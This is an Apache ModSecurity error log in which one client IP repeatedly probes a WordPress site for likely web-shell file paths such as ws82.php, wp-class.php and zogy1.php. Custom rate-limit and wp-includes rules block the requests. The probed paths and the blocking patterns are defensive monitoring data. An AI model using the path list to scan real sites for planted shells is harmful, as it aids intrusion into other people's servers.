[Thu Apr 23 23:12:08.451740 2026] [:error] [pid 59700:tid 59708] [client 40.113.52.123:47679] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xynz.php"] [unique_id "aeo2yJXyGZJFeAIDWtlAFQAAAUY"]
[Thu Apr 23 23:12:10.321870 2026] [:error] [pid 59700:tid 59719] [client 40.113.52.123:40620] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xynz.php"] [unique_id "aeo2ypXyGZJFeAIDWtlAGQAAAVE"]
[Thu Apr 23 23:12:13.985744 2026] [:error] [pid 42972:tid 43023] [client 40.113.52.123:52099] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xynz.php"] [unique_id "aeo2zcOAb-3sOknsk4dkoAAAAEc"]
[Thu Apr 23 23:12:15.128588 2026] [:error] [pid 43083:tid 43101] [client 40.113.52.123:62919] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeo2zzC5hrvNXosL83KJawAAANA"]
[Thu Apr 23 23:12:16.505566 2026] [:error] [pid 46953:tid 46966] [client 40.113.52.123:49841] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeo20EnlpdHh-P6wKbpNVAAAAko"]
[Thu Apr 23 23:12:17.436208 2026] [:error] [pid 43083:tid 43095] [client 40.113.52.123:56037] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeo20TC5hrvNXosL83KJcgAAAMo"]
[Thu Apr 23 23:12:18.823871 2026] [:error] [pid 64998:tid 65013] [client 40.113.52.123:40577] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeo20oV5EysYcTLjmwiwvwAAAcs"]
[Thu Apr 23 23:12:23.669751 2026] [:error] [pid 65000:tid 65032] [client 40.113.52.123:49812] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aeo2176vRb9j6psK2ZbSQwAAAgM"]
[Thu Apr 23 23:12:25.268100 2026] [:error] [pid 42973:tid 43049] [client 40.113.52.123:47641] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aeo22W6I0QqmmmLTHE06kAAAAIY"]
[Thu Apr 23 23:12:30.765868 2026] [:error] [pid 42973:tid 43045] [client 40.113.52.123:56025] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aeo23m6I0QqmmmLTHE06qgAAAII"]
[Thu Apr 23 23:12:50.913524 2026] [:error] [pid 65000:tid 65032] [client 40.113.52.123:44500] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aeo28r6vRb9j6psK2ZbSXAAAAgM"]
[Thu Apr 23 23:12:52.586194 2026] [:error] [pid 42973:tid 43061] [client 40.113.52.123:60134] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aeo29G6I0QqmmmLTHE06xwAAAJI"]
[Thu Apr 23 23:12:54.933614 2026] [:error] [pid 42972:tid 43027] [client 40.113.52.123:62032] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aeo29sOAb-3sOknsk4dkwAAAAEs"]
[Thu Apr 23 23:12:55.750290 2026] [:error] [pid 42973:tid 43045] [client 40.113.52.123:1150] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aeo2926I0QqmmmLTHE060AAAAII"]
[Thu Apr 23 23:12:57.431021 2026] [:error] [pid 42972:tid 43034] [client 40.113.52.123:45871] [client 40.113.52.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeo2-cOAb-3sOknsk4dkxQAAAFI"]
[Thu Apr 23 23:12:58.360383 2026] [:error] [pid 64998:tid 65004] [client 40.113.52.123:62143] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeo2-oV5EysYcTLjmwixPQAAAcI"]
[Thu Apr 23 23:12:59.774190 2026] [:error] [pid 64998:tid 65007] [client 40.113.52.123:45883] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeo2-4V5EysYcTLjmwixQgAAAcU"]
[Thu Apr 23 23:13:01.444930 2026] [:error] [pid 42972:tid 43030] [client 40.113.52.123:61438] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeo2_cOAb-3sOknsk4dkzgAAAE4"]
[Thu Apr 23 23:13:03.027204 2026] [:error] [pid 65000:tid 65046] [client 40.113.52.123:57220] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeo2_76vRb9j6psK2ZbSaQAAAg0"]
[Thu Apr 23 23:13:03.889861 2026] [:error] [pid 64967:tid 64970] [client 40.113.52.123:53685] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeo2_4AV4GfOOdX8QzqB5QAAAYE"]
[Thu Apr 23 23:13:05.624640 2026] [:error] [pid 64998:tid 65010] [client 40.113.52.123:62097] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeo3AYV5EysYcTLjmwixUwAAAcg"]
[Thu Apr 23 23:13:07.155537 2026] [:error] [pid 64998:tid 65016] [client 40.113.52.123:37014] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeo3A4V5EysYcTLjmwixVwAAAc4"]
[Thu Apr 23 23:13:08.452593 2026] [:error] [pid 43083:tid 43093] [client 40.113.52.123:51589] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeo3BDC5hrvNXosL83KJhwAAAMg"]
[Thu Apr 23 23:13:09.706006 2026] [:error] [pid 64998:tid 65005] [client 40.113.52.123:37002] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "aeo3BYV5EysYcTLjmwixXwAAAcM"]
[Thu Apr 23 23:13:10.709648 2026] [:error] [pid 64998:tid 65019] [client 40.113.52.123:1485] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "aeo3BoV5EysYcTLjmwixaAAAAdE"]
[Thu Apr 23 23:13:13.821102 2026] [:error] [pid 43083:tid 43088] [client 40.113.52.123:55144] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "aeo3CTC5hrvNXosL83KJiQAAAMM"]
[Thu Apr 23 23:13:14.806605 2026] [:error] [pid 59700:tid 59726] [client 40.113.52.123:43211] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "aeo3CpXyGZJFeAIDWtlASAAAAVg"]
[Thu Apr 23 23:13:24.524942 2026] [:error] [pid 65000:tid 65057] [client 40.113.52.123:39303] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeo3FL6vRb9j6psK2ZbSlwAAAhg"]
[Thu Apr 23 23:13:25.547605 2026] [:error] [pid 65000:tid 65050] [client 40.113.52.123:1902] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeo3Fb6vRb9j6psK2ZbSmwAAAhE"]
[Thu Apr 23 23:13:27.883691 2026] [:error] [pid 64998:tid 65026] [client 40.113.52.123:48848] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeo3F4V5EysYcTLjmwixigAAAdg"]
[Thu Apr 23 23:13:28.992919 2026] [:error] [pid 65000:tid 65032] [client 40.113.52.123:48839] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeo3GL6vRb9j6psK2ZbSpwAAAgM"]
[Thu Apr 23 23:13:30.154911 2026] [:error] [pid 42972:tid 43031] [client 40.113.52.123:48891] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeo3GsOAb-3sOknsk4dk9AAAAE8"]
[Thu Apr 23 23:13:31.164589 2026] [:error] [pid 65000:tid 65057] [client 40.113.52.123:50082] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeo3G76vRb9j6psK2ZbSrgAAAhg"]
[Thu Apr 23 23:13:32.887365 2026] [:error] [pid 42971:tid 42990] [client 40.113.52.123:38722] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeo3HDEP2_5RswrH8bE30wAAAAQ"]
[Thu Apr 23 23:13:33.874450 2026] [:error] [pid 65000:tid 65050] [client 40.113.52.123:1946] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeo3Hb6vRb9j6psK2ZbSuwAAAhE"]
[Thu Apr 23 23:13:35.187826 2026] [:error] [pid 46953:tid 46965] [client 40.113.52.123:60497] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aeo3H0nlpdHh-P6wKbpNZwAAAkk"]
[Thu Apr 23 23:13:40.014566 2026] [:error] [pid 25635:tid 25657] [client 40.113.52.123:46249] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aeo3JMRxv6UsgRGKB3I9YwAAARI"]
[Thu Apr 23 23:13:42.503320 2026] [:error] [pid 59700:tid 59706] [client 40.113.52.123:42347] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aeo3JpXyGZJFeAIDWtlAUQAAAUQ"]
[Thu Apr 23 23:13:44.548699 2026] [:error] [pid 42972:tid 43031] [client 40.113.52.123:42343] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aeo3KMOAb-3sOknsk4dk_QAAAE8"]
[Thu Apr 23 23:13:46.237901 2026] [:error] [pid 65000:tid 65049] [client 40.113.52.123:51368] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aeo3Kr6vRb9j6psK2ZbS0gAAAhA"]
[Thu Apr 23 23:13:47.112365 2026] [:error] [pid 65000:tid 65050] [client 40.113.52.123:48472] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aeo3K76vRb9j6psK2ZbS2AAAAhE"]
[Thu Apr 23 23:13:48.123893 2026] [:error] [pid 64998:tid 65016] [client 40.113.52.123:48510] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aeo3LIV5EysYcTLjmwixoAAAAc4"]
[Thu Apr 23 23:13:58.389949 2026] [:error] [pid 65000:tid 65049] [client 40.113.52.123:41153] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeo3Nr6vRb9j6psK2ZbTFwAAAhA"]
[Thu Apr 23 23:14:07.584186 2026] [:error] [pid 42973:tid 43055] [client 40.113.52.123:53730] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeo3P26I0QqmmmLTHE07BwAAAIw"]
[Thu Apr 23 23:14:08.994460 2026] [:error] [pid 64998:tid 65025] [client 40.113.52.123:37422] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeo3QIV5EysYcTLjmwix2AAAAdc"]
[Thu Apr 23 23:14:10.264570 2026] [:error] [pid 42971:tid 42994] [client 40.113.52.123:37422] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeo3QjEP2_5RswrH8bE33wAAAAg"]
[Thu Apr 23 23:14:12.786740 2026] [:error] [pid 43083:tid 43102] [client 40.113.52.123:45925] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeo3RDC5hrvNXosL83KJogAAANE"]
[Thu Apr 23 23:14:13.862708 2026] [:error] [pid 65000:tid 65043] [client 40.113.52.123:51869] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeo3Rb6vRb9j6psK2ZbTTQAAAgo"]
[Thu Apr 23 23:14:15.277799 2026] [:error] [pid 64967:tid 64978] [client 40.113.52.123:37836] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeo3R4AV4GfOOdX8QzqCBwAAAYk"]
[Thu Apr 23 23:14:16.530556 2026] [:error] [pid 46953:tid 46964] [client 40.113.52.123:51898] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeo3SEnlpdHh-P6wKbpNdAAAAkg"]
[Thu Apr 23 23:14:17.808431 2026] [:error] [pid 42973:tid 43061] [client 40.113.52.123:44890] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/areak1.php"] [unique_id "aeo3SW6I0QqmmmLTHE07EgAAAJI"]
[Thu Apr 23 23:14:20.947772 2026] [:error] [pid 65000:tid 65048] [client 40.113.52.123:42003] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/areak1.php"] [unique_id "aeo3TL6vRb9j6psK2ZbTYAAAAg8"]
[Thu Apr 23 23:14:23.382586 2026] [:error] [pid 65000:tid 65054] [client 40.113.52.123:1729] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/areak1.php"] [unique_id "aeo3T76vRb9j6psK2ZbTZwAAAhU"]
[Thu Apr 23 23:14:25.253826 2026] [:error] [pid 46953:tid 46963] [client 40.113.52.123:46117] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/areak1.php"] [unique_id "aeo3UUnlpdHh-P6wKbpNgQAAAkc"]
[Thu Apr 23 23:14:26.157772 2026] [:error] [pid 42973:tid 43043] [client 40.113.52.123:42028] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeo3Um6I0QqmmmLTHE07FAAAAIA"]
[Thu Apr 23 23:14:32.204946 2026] [:error] [pid 42973:tid 43049] [client 40.113.52.123:53899] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeo3WG6I0QqmmmLTHE07HgAAAIY"]
